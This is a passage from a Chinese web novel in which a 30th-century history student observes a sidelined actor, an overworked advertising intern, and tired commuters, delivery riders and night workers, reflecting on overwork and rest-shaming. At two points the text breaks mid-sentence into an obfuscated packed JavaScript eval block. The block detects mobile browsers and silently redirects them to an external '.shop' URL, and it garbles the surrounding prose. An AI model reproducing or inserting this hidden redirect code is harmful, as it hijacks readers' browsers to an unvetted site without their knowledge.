陈绍宁跟在他身后,清晰地感受到孟余身上职业和生活时间断裂。在拍摄期间,每一天都被安排得满满当当。起床、通勤、化妆、走位、拍摄、等待、再拍摄。即便疲惫,也有明确的方向。 而杀青之后方向消失了,但是这种消失并不会立刻显形。它会以一种极其安静的方式展开。 第二天,孟余依旧按平时的时间醒来。 他给福瑞倒了水,换了猫砂,自己简单吃了点东西,然后坐在沙发上,打开了行业资讯,翻找着新的拍摄机会。 经纪人会给他找一些机会,但是有些角色的取舍,他和经纪人的观点总是不太一样的。有时间的时候,孟余还是会自己去找一些适合自己的角色。 他就坐在饭桌前,脊背直直的,一点慵懒劲头都没有,手上不停的刷新着信息,但一直是没有新消息。 他点进几个熟悉的群,群聊安静得出奇。那些在拍摄期间活跃的对话,此刻像是被一只看不见的手按下了暂停键。 中午他又刷新了一次,陆续有几个剧组在招募演员,也有选角导演给他发邀约,但这样主动找来的,孟余都会建议对方联系经纪人。 合约上规定了一些项目只能由公司和经纪人推介,那些机会孟余都很遵守合约没有去自己接触。 但他喜欢自己去发现一些机会,比如有趣的学生剧组,但很显然最近依旧是没有。 孟余的表情看起来并没有明显变化,只是动作变得更轻了,像是担心自己的一点点情绪,会打扰到什么。 第三天。 第四天。 时间开始变得黏稠。 没有人通知他你暂时没有工作,但所有的迹象都在暗示同一件事他被放进了等待区。这是行业里默认的一种状态。 很对行业都这样,用暂时不用来顶替封杀或是否定,而暂时就是一个没有期限的词。明明是被宣判或者被遗忘,这成为一种很好控制人的手段。 陈绍宁第一次真正理解了失效这个词。 一周后,孟余接到了一个电话。 是副导演。 “杀青那天没顾上跟你多聊。”对方的语气很随意,“最近怎么样?” “还行。” 孟余回答。 “嗯。”对方应了一声,像是在组织语言,“那个……之后要是有合适的角色,我再联系你。” 陈绍宁坐在一边的椅子上,她觉得这句话本身没有问题,它听起来甚至很正常,但她觉得这其中或许还藏着不会主动联系的可能? 电话很快结束,孟余把手机放下,靠在沙发上,没有立刻动。过了一会儿,他才起身去倒水,走过还没睡醒的福瑞,孟余的动作依旧很轻。 不过和陈绍宁的想法相反,很快在几天后一个很普通的下午,她就看见了那一刻。孟余出门取快递,在楼下遇见了同组的一个演员。两人简单寒暄了几句,对方忽然压低声音,说了一句: “之后要是有机会,你要注意些,不然可能也不太好再合作。好像有人要…… 多的我也说不了了,兄弟你自己注意,不要太相信身边的朋友,有的人…… 咳…… ” 孟余愣了一下。 “为什么?”他问。 对方犹豫了一下,最终只是含糊地说:“你也知道,有些事……你不太合适。” 这句话没有解释,也不需要解释。 孟余没有追问,他只是点了点头。 “我明白。” 回家的路上,他走得比平时慢。 陈绍宁第一次看见,他在进单元门前停了下来,他脸上看着疲惫,像是在消化什么。 “难道是说他人太好了不适合这个圈子?还是说那些人太坏了,孟余不适合跟那些人在一起?” 陈绍宁跟在身后忍不住思考起来,她知道一些事情。在拍摄期间,有过几次微妙的场合,像是有人对群演开过越界的玩笑,有人暗示过陪一下投资方,也有人默认某些女演员的特殊待遇。 孟余不是没有察觉,他只是没有参与,他没有附和那些玩笑,没有在酒局里劝人喝酒,偶尔会替任一些人打圆场。 有一次,他甚至很平静地对一些人说过一句:“这种话,别当着她们说。” 那一刻,没有人反驳他,看着他是演员,或者看着他是被谁盯上的人而担心驳了他的面子?但很明显空气明显冷了一下。 事情最终也没有闹大,只是孟余做了一个看起来不那么合群的选择。而在这个系统里,合群比正直重要得多。 陈绍宁忽然明白孟余可能会丢失一些机会,但那些机会的来源本身也跟他的性格或者为人处事完全相悖。 但决定演员成功的人是谁呢? 陈绍宁也不确定,有的人觉得是观众,有人主张是资本,甚至也不能定义为是创作者。没有谁是完全独立的,但有一整套默认运转的共识,在决定谁失效。 但只要一方有足够,或者足够多的人,在私下里形成了同一个判断 —— 他有点麻烦。 那这个演员,就已经被放进了等待区,努力过的痕迹,在市场面前迅速归零。 陈绍宁先把这些事情记录下来并做了个总结, 但她也知道这不是唯一的论调,或者并不是正确的结论。 许多天过去了,杀青的花早就枯了。 很长一段时间的晚上孟余都照例刷了一会儿信息。 没有新邀约。 他把手机放下,伸手摸了摸福瑞的头。 “没事。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149308|196424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他说。 不知道是在对谁说,陈绍宁站在一旁,第一次感到一种清晰的愤怒。 现在看起来这个系统,甚至不需要伤害他。它只需要停止使用,用停止使用的方式来控制一个人,这远比任何明确的惩罚都更残酷且隐蔽。 让人吃了暗亏还找不到什么理由。 —— 这种事情在任何行业都存在的。 反正论文资料存储到一半的时候,沈绍宁在孟余那里又发现了新的事件有利于她的论文。 这天晚上孟余照例洗完澡,把手机放在床头充电,准备随便翻翻消息就睡。 私信列表里多了一条很长的未读。 头像是个普通风景照,昵称也不张扬,叫柠檬树上柠檬果,孟余觉得是那种安静追剧偶尔留言的粉丝。 他本来想等第二天再看,手指却还是点了进去。 对方一开始只是礼貌地说喜欢他的角色,说最近看他拍的《青简》有路透,觉得柳疏站在大殿上那一段让她很难过,接着话题慢慢变了。 “其实我今天有点难受……也不知道为什么会想跟你说。” 她开始讲自己的工作。 说自己在一家小公司做广告执行(AE),刚入职不久。上个月领导开会时说有个新项目,让她多参与,多协作,语气很轻松,还夸她年轻有潜力。 她当时很高兴,觉得被信任了,就主动去做资料,对接供应商,帮着出品牌活动延展图的草稿。 可到了项目出问题的时候,一切说法都变了。 线下物料效果很差,客户不满意,会议室里气氛很压抑。 领导翻着PPT问她:“这套图的主视觉定性就有问题,这部分你不是也参与了吗?你没看出来吗?” 柠檬树上柠檬果当时就愣住,说自己只是协助整理素材,没有最终拍板权。同事在一旁补了一句:“大家当时不是一起讨论的吗?她也在场啊。” 领导叹气,说年轻人要多一点主动性,不要只做别人明确交代的事。她写到这里的时候,用了好几个“可能是我理解错了”“也许是我太敏感了”之类的句子。 “我总觉得好像哪里不对,可是又说不出来。”她打字,“每件事都没有明确分工,但最后好像都变成我没做好。可是我只是实习生,我为什么要承担职责外的事情,我并不能获得额外的回报。” “我现在每天上班都很紧张,生怕哪句话又变成‘你当时不是说过要帮忙吗’。” 她最后一句是,“我知道你很忙,只是想找个能让我暂时不觉得自己很差的人说说话。大概率你也不会看这些内容,我只是想着把这些写下来,或许我只是想找个不会回答我的人随便说一些内容。” (1 孟余盯着屏幕,久久没有滑动。 屋子里很安静,福瑞在床尾缩成一团,呼吸均匀。 孟余想起自己刚入行的时候,也有过类似的感觉,所有话都说得很温和,所有评价都带着笑,却让人一点点怀疑是不是自己哪里不够好。 他没有立刻打很多字。 只是先回了一句:“辛苦你了。” 又想了想,继续慢慢打:“有些事情不是你的问题,是规则说得太模糊了。工作里的帮忙,如果没有明确边界,很容易变成事后才被定义的责任。” 他不敢说太多专业建议,只是把她的感受确认下来。 “你现在能意识到不对,就已经很清醒了。我不是很懂你的工作,但希望你未来能成为一名自己想成为的人。” 发送出去之后,他把手机放下,躺了一会儿,又忍不住拿起来看对方有没有回复。 与此同时,陈绍宁也看到了这条私信。她倒不是通过偷窥,而是通过历史课程允许的公共数据流观测窗口,看见了这段文字被发布在社交平台上的片段。 她一下子坐直了,这种描述,她太熟悉了。 在她的时代,这被明确写进职场行为规范教材,叫“职责模糊化导致的责任转嫁”,是一种被认定为心理压迫的组织管理失范行为。 可在这个时代,它还只是被当成沟通问题,个人成长阵痛,她盯着那段话,胸口微微发紧。 这不只是情绪倾诉,而是一个完整的现实样本—— 模糊的参与、事后的追责、道德化的评价、无法量化的主动性。 她低声对自己说:“这就是我需要的案例,一定得去看看。” 孟余那边,屏幕亮了一下。 粉丝回了一个哭脸表情。 “谢谢你,我好像好一点了。” 陈绍宁看着这一来一回,心里忽然做了决定。 她调出时空坐标,锁定那位女生所在的城市与时间段。 “这也是案例。”她轻声说,“而且是正在发生的。” 如果她要写那篇论文,只看一个人的命运还不够。 她需要看到,像这样的无形压力,是怎样在无数普通人身上,日复一日地发生。 而今晚这条深夜私信让陈绍宁觉得这就是她通往另一个生活现场的入口。 陈绍宁打开自己的观察型历史研究资料整理,其中研究主题暂定为结构性压力与个体耗损机制。而核心问题是在无明确加害者的情境下,个体如何在多重社会结构中被持续消耗? 她在终端里翻看新的内容,观察对象除了主观察的演员样本,新增了一位都市初入职场劳动者。 9. 第九章 终端上显示,昵称是柠檬树上柠檬果的女生就在沪东市上班,陈绍宁跟着终端里搜索的地图直接过去。 原本以为她会在家睡觉,陈绍宁搜索一下发现她还在公司? 凌晨两点??? 陈绍宁在终端上覆盖住网络的信息,她看了一下柠檬果的生活轨迹。 她顺着社交平台的公开时间线,一点点拼出对方的作息,通勤路线和工作地点,一栋位于商务区边缘的写字楼,楼下有一家连锁奶茶店和一家24小时便利店。 而在陈绍宁还在查终端信息的时候,她面前的电梯开了,柠檬果去便利店买了点吃的抱着坐电梯回去。 陈绍宁看着她抱着的吃的,薯片,巧克力,饮料,冰杯,柠檬果回到工位自己倒了一杯饮料,配着薯片一起,电脑打开上面是最新的方案。 陈绍宁站在她身后看着,屏幕上是她这组所服务的品牌最新要找的代言人,柠檬果要负责寻找同类竞品的代言人活动信息,全部要整理好数据和创意内容,还有最后的总结结论。 但是看着代办信息里,这个方案是下周二交给客户。电脑显示时间来看还有四个工作日,但今天收到的品牌brief邮件,柠檬果就被要求留下来加班。 — 你今天把这些信息整理好,明天才能整理品牌消费者画像和演员的粉丝画像,不然耽误方案你来负责吗? 电脑上还留着上级的信息,柠檬果想到自己负责上一个项目,这会只暗暗发誓要整理好这些信息来支持新的工作内容。 一直到凌晨四点才整理完,柠檬果疲惫的只坐在工位上睡了一晚上,第二天早上八点半,其他背着帆布包同事进来公司的时候,就看到柠檬果趴在工位上睡觉。 “ 冉菲菲?你一晚上没回家啊!不会是在这通宵加班了吧?” 对面工位的员工也是实习生,听到自己身边同事的声音,脸上瞬间就沉了面色,很明显并不喜欢冉菲菲的行为。 柠檬树上柠檬果,不对,应该是冉菲菲的表情也跟着呆愣起来,倒不是因为刚才那句话,而是因为后面的话。 “那你不是没有刷牙洗脸,天,你这样不会很不舒服吗?” 冉菲菲不知道怎么说自己的情绪,委屈,生气,无奈,或者是什么更多的心情?但出乎意料的是公司里的组长到部门负责人都反而在称赞冉菲菲。 上一周还犯错的冉菲菲,在这一日就被夸赞了。 初入职场的她还在以为自己找到了一个很好的解决办法。 但后面几日,冉菲菲变得更疲惫了。 这天早上出小区的时候,陈绍宁已经站在路口等她了。 当然,冉菲菲看不见她。 这是陈绍宁作为观察态的优势,不会打扰,也不会改变任何事。 冉菲菲戴着耳机,走路很快,像是怕迟到。手机屏幕亮着,备忘录界面停在一行字上:“今天一定要把提案框架整理出来。” 陈绍宁跟着她上了公交,又转地铁。 早高峰的地铁站像一条被不断灌水的管道,人群被一波一波推进去。冉菲菲站在黄线后面,深吸一口气,跟着人流一起挤进车厢。 门刚关上,车厢就像一口装得太满的罐子。 陈绍宁站在她身旁,看见对面一个男生盯着手机小声念:“三年市场经验,熟练掌握……”他在背简历,声音很轻,却一直没停。 左侧座位上,一个穿衬衫的女生把电脑摊在膝盖上,指尖飞快敲键盘,屏幕上是还没改完的表格。 角落里,一个中年男人反复翻着文件袋,嘴里嘀咕着:“仲裁要带原件,复印件不行……” 还有一个年轻人靠在门边,眼神空着,嘴唇微动,不知道在跟谁说话。 没有人看他们。 也没有人有余力去看。 冉菲菲抓着扶手,身体随着列车晃动,目光落在广告屏上,却明显没有在看内容。 陈绍宁突然觉得这里的每个人都在努力维持正常。 哪怕只是一条地铁里的十几分钟,也不能让自己看起来像是撑不住的那一个。 到站下车时,人群被甩出车厢,像一口气吐出来。 女孩跟着人流走出站口,阳光有点刺眼。她抬手挡了一下,又很快放下,脚步不停。 写字楼大厅里,空调冷得有点过头。 冉菲菲刷卡进闸,电梯里挤满同事模样的人,空气里有咖啡和香水混在一起的味道。 “早啊。”有人对她笑了一下。 “早。”她也笑。 这个笑是真诚的,不是勉强,冉菲菲有点开心,好像自己真的被大家接待了。 被接待了,职场里的人总是追逐着这个。 陈绍宁记下这一点。 工位在开放办公区的角落,没有项目执行的时间里,冉菲菲也跟着策划和创意一起写方案,冉菲菲放下包,先给自己接了杯热水,然后打开电脑。 上午的工作节奏很快。她一边改文案,一边和设计沟通,一边还在帮同事找素材。 “这个标题你写得真顺。”旁边的同事探头说。 “你上次那个KV我还拿来当参考了。”她笑着回。 冉菲菲的一次深夜通宵加班似乎换来了真正的融入这个圈子,她折损了自己的权益和健康才能获得“认可”。 但陈绍宁观察过她写的方案,从最开始只能简单的寻找到一些基本的资料,冉菲菲在品牌代言人方案的撰写上越来越得心应手。 陈绍宁意识到,这女孩并不是被压垮的样子。她确实会累,会委屈,但她也在努力把周围的气氛变得松一点。 中午,同事约她一起下楼买奶茶。 “今天我请。”同事说。 冉菲菲愣了一下:“为啥?” “谢谢你昨天你帮我改方案改到十点。” 她笑得眼睛都弯起来:“那我点大杯!” 奶茶递到手里的那一刻,冉菲菲真的开心了,像小朋友一样吸了一大口。 “啊——活过来了。” 陈绍宁站在旁边,看着这一幕,心里轻轻松了一下,下午开会时,领导还是说了那句:“大家要多主动承担。” 但这会的冉菲菲只是低头记笔记,不会再向刚入职的时候那样表情明显,她没有反驳,但会后她拉住设计说:“主视觉这块下次我们先把责任人写清楚吧,这样好一点对吧。” 冉菲菲语气不是抱怨而是认真,又是类似的项目,她一点都不想在这样的事情上被折磨了,如此冉菲菲把自己认为需要分清的内容发邮件给对方,并CC了项目里需要负责任的领导。 傍晚下班,她又挤进地铁。 这一次车厢里依旧拥挤,但她站得更稳了,一只手刷着手机,给朋友发消息,“今天提案被夸了嘿嘿。” 很快朋友的消息回来,软件里还有其他同事发的信息,夸冉菲菲越来越专业了。陈绍宁忽然发现,冉菲菲似乎并没有被那种模糊压力彻底吞掉。 她会难过,会来跟孟余倾诉,但她也会在第二天继续认真生活,在同事需要时帮一把,在自己被请奶茶时开心很久。 她不是被压弯的树,她是那种风很大,但根还在的草。 春风吹又生,春风吹又生。 列车进站,车门打开,晚风吹进来,冉菲菲走出车厢,抬头看了眼天色,忽然小声说了一句:“今天也还不错。” 陈绍宁站在她身后,看到这样身处压力中但没有立刻崩塌的冉菲菲,陈绍宁觉得冉菲菲是个非常坚强的女孩。 连续观察冉菲菲几日,陈绍宁都没有继续关注孟余,直到留在孟余身边的追踪器没电了,在站台上跟丢孟余的。 其实杀青之后,孟余的行程变得不再固定,也不再公开。他在站台边停下脚步,看了一眼到站信息,又低头回了一条消息,随后进了另一节车厢。 没有及时补充电量的追踪器就没电了,追踪器站在原地,没有追。但是最近追踪的内容还是很清晰,陈绍宁仔细看了一遍,她看到的是同一种疲惫。 陈绍宁回到利川去取回追踪器,但在地铁上陈绍宁也跟上了另一群人。一群看起来毫无关联的陌生人,却因为同一班地铁,被暂时塞进了同一个狭小的空间里。 地铁进站的时候,风声在隧道里呼啸了一瞬,紧接着是熟悉的制动声。车门打开,人群像是被按下了某个开关,立刻开始流动。 陈绍宁被推着进了车厢。 拥挤的状态和沪东差不多,反正拥挤这个概念 一直是她进入这个时代以来,最直观的感受。除了身体上的拥挤,还有一种情绪与状态的叠加。 灯光明亮却没有温度,照得每个人的脸色都显得苍白。车门关上的那一刻,车厢仿佛被密封了。 列车启动,轻微的晃动让人群不自觉地靠得更近。有人抓紧扶手,有人干脆靠在门边,眼神空洞地盯着前方。 陈绍宁站在角落,视线被迫在一张张脸之间移动。 太熟悉了,沪东也是这样,地铁上的人总是带着一样的表情。陈绍宁看着身边年轻男人,西装外套已经脱下来搭在手臂上,领带松开。他低着头,嘴唇轻轻动着,几乎没有发出声音。 “项目经验……负责模块……协调资源……” 他在背简历。 声音压得很低,却因为车厢的封闭,被无限放大。 年轻男人为了让自己记住,忍不住的在反复确认自己还拥有被录用的资格。他背到一半,忽然停下来,皱起眉又重新从头开始。 好在旁边的人并没有看他。 每个人都沉浸在自己的节奏里,没有多余的注意力分给别人。 再往前一点,一个女生坐在折叠座椅上,膝盖上放着一台打开的电脑。她的手指飞快地敲击键盘,屏幕上是密密麻麻的表格和批注。 地铁每一次晃动,她的手都会顿一下,却很快继续。 她的眼睛已经有些发红,却没有停下来的意思。 在她对面,一个中年男人靠在扶手旁,西装洗得有些发白。他手里攥着一叠文件,文件边角已经被翻得卷起。 电话响起的时候,他立刻接了。 “是,我在路上。” “对,材料我都带着。” “劳动仲裁那边……我明天再去一趟。” 他的声音刻意放得很平稳,却在说到“仲裁”两个字时,还是不自觉地顿了一下。 电话那头的人似乎说了什么。 他沉默了几秒,才低声应了一句:“我知道……可是我不能就这么算了。” 说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149309|196424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完这句话,他像是突然意识到什么,迅速压低了声音,“嗯,先这样。” 电话挂断,他靠回扶手,长长地呼出一口气。 那口气里,没有解脱。 只有疲惫。 列车继续前行,陈绍宁觉得这一幕像是从沪东复制黏贴过来了,相似的情节,相似的故事,耳边是站点一个接一个报出,机械而冷静。 人群在每一站都会发生轻微的变化,有人挤进来,有人被挤出去。 如此,根本没有人能真正松一口气。 在车厢另一端,一个女人突然开始低声说话。 起初声音很小,像是在自言自语。可随着列车的晃动,那声音渐渐变得清晰。 “他们都在看我……我知道的,他们以为我不知道。” 她的眼神游离,时不时扫过周围的人。手指紧紧攥着包带,指节发白。 旁边的人刻意往另一侧挪了一点,不是嫌恶,而是一种本能的回避。女人的声音忽然拔高了一点。 “你们别装了。” 她说,“我知道你们在讨论我。” 空气一瞬间变得紧绷。 有人抬头看了一眼,又很快移开视线。没有人回应,也没有人制止,每个人都在小心翼翼地维护车厢里的脆弱平衡。 如果她再失控一点,可能就会有人出面,可只要她还停留在自言自语的边界内,这个空间就会选择忽略她。 这是默认的规则。 女人说了几句,声音又慢慢低下去。 她靠在车门边,闭上眼睛,像是耗尽了力气。 列车继续行驶。 陈绍宁看着远近站着坐着的人,只觉得这节车厢里,没有一个人是闲着的。即便什么都没做的人,也在用力维持着正常的外壳。 有人刷着短视频,却没有真正看进去;有人盯着窗户上的倒影,目光空洞;有人紧紧抓着扶手,像是害怕一松手就会倒下。 她忽然想起历史教材里的描述,“旧时代的城市交通,是高效而成熟的公共系统。” 这句话没有错,地铁总是密集地承载着巨量人口。可教材没有写的是它同时也是一个高度压缩的情绪容器。所有来不及处理的压力,焦虑,不安,都被带到这节车厢里,没有出口,也没有缓冲。 列车一站一站地停靠。 那个背简历的男人终于停了下来,靠在门上闭上眼睛。加班的女生敲下最后一行字发送,屏幕亮起已提交的提示,却没有露出任何轻松的表情。处理中年男人把文件重新整理好,抱在怀里,像是在抱着最后的筹码。 自言自语地女人睁开眼睛,神情恢复了片刻的平静。 他们看起来都正常了。 可陈绍宁知道,这种正常,是极其脆弱的。只需要一个电话,一条消息,一次拒绝,这层外壳或许就会碎裂。 列车减速。 广播报站。 人群再次开始流动。 陈绍宁站在车厢里,看着他们一个个离开,又被新的面孔替代。 这节车厢,永远不会空。 就像这个时代一样。 总有人在奔跑,总有人在等待,总有人在濒临崩塌的边缘,努力装作一切都还可以继续。 地铁门再次关闭。 列车驶入隧道。 黑暗短暂降临,又被下一站的灯光打断。 它只需要一个足够狭窄的空间,和一群不能停下来的人。 不需要命令,就会自主地追去下一个目标。 “ 所以你想说,你去的那个时代里很多事情会在不同的地方发生?” 终端里沉寂了几天没回消息的林序看完了陈绍宁的留言,挨个回复。 “ 啊,所以那时候大家求职都很积极主动,但似乎大环境里不是机会比人少?” “但是我看信息,与其说真的机会比人少,好像是一个叫降本增效的词能总结,就是岗位被缩减成一个人负责很多事情,这样企业就可以收缩成本。” “比如拍摄视频需要,拍摄的人,剪辑的人,写剧本的人,还有找资源的人,如果要拍摄品牌植入的视频还需要一个商务,一个视频可以让五个人获得工作机会。但是企业不想出钱,就会选择让一个人负责所有。” “ 这样企业省钱了,大家没钱了,然后没人消费了,那企业的产品就没人消费了。” 林序的留言急促着一起发进来,陈绍宁一个个读过去,这倒是给她提供了一些可以去了解的方向,回复了林序的信息后就关掉了终端,她收起来追踪器扔进终端里充电,然后是犹豫着是继续观察冉菲菲还是孟余…… 坐在地铁站里,陈绍宁发呆一样的坐着,来来往往的人太多了,这些个体在时间里毫不重要,没有几个人能被时间记住。 但这么多相似的事情,让陈绍宁情绪也跟着低落起来,这些在星际时代都不在存在的情况,都是过去的人遭受了无数的伤害和痛苦后才逐渐被改变的…… 陈绍宁突然觉得自己是不是太看低个体的痛苦了,更明确地说,她有点犹豫自己的选题定位,她太害怕自己会高高在上地俯视别人的痛苦,然后轻描淡写地总结成文字保留下来。 这是不对的。 但如果不记录,是不是就会被遗忘,抹除? 10. 第十章 深夜地铁站是不营业的。 陈绍宁也没有离开,她就坐在地铁站里的椅子那,她以为是没有阳光没有灯光,黑漆漆的一片。 但实际上最后一班列车驶离后,即便闸机口熄了大半灯,只留下几盏应急照明,但依然光线冷白,照得地面反着微微的光。 深夜的地铁站已经没有乘客,整座站台像被抽空了一样安静。 她从坐着变成躺着,整个人在连着的长椅上翻身。 睡觉是不需要的,所以陈绍宁有足够的时间来看这个世界的一切。 在陈绍宁的认知里,灯全关了一些应该就是不营业了。 这意味着这里应该什么人都没有。 但其实这里也没那么早关灯,除了月台没有人,她能听到上一层有声音,终端上显示这是很多工作人员在上一层做盘点和检查工作。 夜班工作人员在清扫和盘点,还有人在走完地铁每一个地方来保证每一个乘客安全的离开。 还有检修人员从侧门进入轨道区,身上穿着反光背心,头灯一束一束在黑暗里晃动。 她再一次翻身后就看到地铁轨道里有人拿着灯,终端对其的解释是需要沿着地铁轨道走好几公里,每公里采集上千个数据点来完成地铁线路检修工作。 但一般这都不是一个人的工作,而是好几个工作人员接力完成。 他们顺着轨道慢慢往前走,脚步踩在碎石上发出细碎声响。有人蹲下检查扣件,有人拿着手电贴近钢轨表面,仔细查看是否有裂纹或松动。 远处隧道口一片漆黑,只有仪器偶尔发出滴嘟的一声提示。还有对讲机里传来低声确认:“这段正常。”声音被空旷的隧道放大,又很快沉下去。 然后是陆续而来的,肉眼看是大概五十来岁的阿姨们,其实日夜颠倒的工作不是每个人的身体都可以承受的,能做这些就是很重要的人,收到人的尊重也是很重要的。 陈绍宁看着不同的阿姨在自己面前走过去,她都持续性地重复说谢谢阿姨,虽然她也不知道自己在谢什么,她也不是这个时代的人。 但也不是地铁,社会主义国家里各行各业都有通宵达旦工作的岗位,但也是每个人都有自己的工作,在不同的岗位上每工作一日,都是在细微的帮助不同的人。 只是到了陈绍宁在的时间里,很多夜间岗位都会让机器人负责,而机器人归于人类管理。看起来是一些人失去了工作,但就算不工作他们也有持续性的工资能好好生活。 倒也不是很多掌握足够多资源的人心善分了自己的钱,而是定下来的规则都会随时被人用观察型历史课程观察,欺骗手段是行不通了。 【希望努力认真的工作人员能获得正常足够的报酬了,公司要是真没钱了,管理和领导们应该把自己的钱拿出来分给员工才对。】 【但好像数据来看,这种情况下多数管理者会选择守住自己的钱,换掉员工替换成不要钱又能打工员工类型。】 【还好有观察型历史课,管理者是伪善还是真的善良,完全都能直观感受到,谁说谁写都没有用。】 陈绍宁因为看到这些劳动者,顺手翻看了终端里关于夜间工作人员的讨论信息的评论和资料,密密麻麻的资料里,陈绍宁能看到很多信息。 但唯一让她认为不能做假的就是劳动者的劳动。 劳动就是劳动,这是不会骗人的。 干净的街道不会骗人。 安全的地铁站不会骗人。 这些是劳动者的劳动,不是管理者的劳动。 完全定下这个道理和认知,是陈绍宁离开地铁站在一条并不繁忙的街上意识到这件事的。 那条街离地铁站不远,却刻意避开了主干道。商铺不多,大多是关着门的状态,只有一家便利店还亮着灯。夜色把人流稀释开来,显得这片空间难得地松缓。 陈绍宁站在街角,看见一个年轻男人坐在台阶上。 他看起来并不狼狈但是很疲惫。 衣服干净是外卖员的衣服,鞋子也没有明显磨损,只是背微微驼着,双手撑在身后,仰着头盯着天。 那是一种非常单纯的姿态,就是在休息,但陈绍宁很快注意到,他并没有真正放松。 他的脚在无意识地轻点地面,像是在给自己计时。 视线虽然看着天空,却明显没有焦点。那不是欣赏夜色,而是一种短暂的逃离。 几分钟后,他低头看了一眼手机。 动作很快,几乎带着一种条件反射式的紧张。 屏幕亮起的那一瞬间,他的肩膀明显绷紧了。 没有新消息,没有新的订单。 他又坐了一会儿,却再也没能维持刚才那个姿势。 最终他站起身,拍了拍裤子,像是在掸掉一种不该存在的状态。 难道是休息结束了。 “这也没有单子,不是说这边晚上的单子多吗?怎么想多赚点钱也这么难?” 听着他的声音,陈绍宁忽然意识到,或许他并不是因为休息够了才离开。 而是因为休息本身,让他感到不安。 这种不安,并不是来自外界的直接催促。 而是一种内化得极深的羞愧。 紧张,没有收入的紧张。 羞愧,没有收入带来的拮据造成的羞愧。 陈绍宁继续往前走。 在便利店门口,她看见一对情侣。 女孩靠在男生身上,两人都穿着外卖员的衣服,但看起来女孩显然已经很累了。她闭着眼睛,呼吸很慢,像是快要睡着。 男生低头看着她,犹豫了一下,还是轻声说: “要不回去吧?晚上没有单,咱们这样干等着也不是办法。” 女孩睁开眼睛,愣了一下。 “我就是有点累。”她说,“说不定一会能抢到,再不行就换地方,赚钱劳动归劳动,咱们休息会就去酒吧边上,要不然去大学附近。这里没有单子就去有单子的地方吧。” “我知道。” 男生的语气放得很温和,“可是你要是困了还是要睡觉的。” 后面的话他没有说完。 女孩沉默了一会儿,还是站了起来。 “算了。”她说,“再接几单,忙完再回去吧。” 陈绍宁站在不远处,忽然意识到休息是被延后的是一件大事。 永远是回去再说,忙完再休,但是看起来忙完,是一个没有尽头的词。 她想起在地铁里见过的那些人。 加班的人,不是在办公室完成,就是在回家的路上。 很多人的情绪崩溃,都被压缩在几分钟里,也压缩在很多准备资料的时间里。 他们不是不想休息。 而是被一种不被明说共识包围着,如果你停下来,说明你不够好。 这种共识,并不是凭空出现的。 陈绍宁知道一些背景,但也是第一次这样直面这么多事情,她来自三十世纪,对这个时代的意识形态有着完整的历史脉络认知。 在二十一世纪末、二十二世纪初,AI 和自动化技术开始迅速普及。机器能够处理越来越多的事务,效率高、成本低、情绪稳定。 那本该是一个解放人类的起点。 可在这个时间节点之前就有一种声音迅速壮大起来。 如果人类不能像机器一样高效,会被淘汰。 这不是科幻恐惧。 而是一种被反复强调的现实威胁。 企业用它解释裁员,媒体用它制造焦虑,意见领袖用它规训行为。 “你不够努力,所以被替代。你不够自律,所以落后。你不够拼,所以没有资格抱怨。” 陈绍宁没想到在二十一世纪前期就已经开始了这些焦虑,在很长一段时间持续的叙事里,休息不再是权利,而是风险。 只是拐弯走了条路,陈绍宁就看见一家写字楼的大厅。 玻璃墙后面,灯还亮着。零星的身影在工位间移动,有人站着开电话,有人抱着文件快步走向电梯。 现在是凌晨四点,大楼里还有人在加班,同样他们看起来更像是在弥补什么。 她忽然意识到一个更残酷的事实,羞愧好像被创造出来了第二种意义,它不是个人情绪而是一种社会工具。 当生产资料掌握在少数人手中,当话语权集中在某些位置上,努力就被定义成一种道德标准,休息被定义为一种不该存在的状态。 你努力,所以你值得。 你不够努力,所以你活该。 在这种逻辑里,休息会被迅速转译成懒惰,退步,不配。 甚至有人开始鼓吹另一种极端的想法,既然机器不会疲惫,那人类就应该学习机器。 减少情绪。 减少波动。 提高耐受度。 让人类变得更像机器人,以避免被机器人淘汰。 这是一个极其荒谬的逻辑。 可它被包装得极其理性。 陈绍宁想起课堂上学到的人类效率曲线图表。 在那些数据背后,没有一个问题被真正提出人类为什么一定要赢? 她站在街头,抬头看着不远处高楼里来往的人群。 他们走得很快,却很少有人真正抬头,他们的身体在移动,内心却像是被一根无形的鞭子抽打着。 疲惫,不被允许存在。 一旦被察觉,就会迅速转化成羞愧。 “我是不是不够努力?是不是我太矫情了?是不是我不配休息?” 这些问题,在每一个停下来的瞬间都会浮现。 于是,人们学会了在奔跑中消耗自己。 甚至开始相信那句被反复灌输的话,内卷是福报。 任何试图喘息的人,都会被视为失败者。 而当疲惫无法被承认,当休息被羞辱,当所有问题都被归结为你不够努力,那么崩塌就只剩下时间问题。 但时代里生活的人是不一样的,不同时代出身的人在同一个时间里,对同一个事情都会找到不同的结论和选择。 就算没有孟余和冉菲菲,陈绍宁觉得看到这些人也能理解为什么2036年会热门话题是 —— Suicide是一场多人谋杀。 不是因为谁动了手。 而是因为有太多人,在日复一日地告诉另一些人,你不能停,你不配停,你一停下来,就证明你错了。 夜风吹过,街道依旧运转,没有人注意到她。 可陈绍宁已经知道,自己为什么要继续看下去了。 ——— 陈绍宁盘腿坐在情侣离开的地方。 夜色铺得很开, 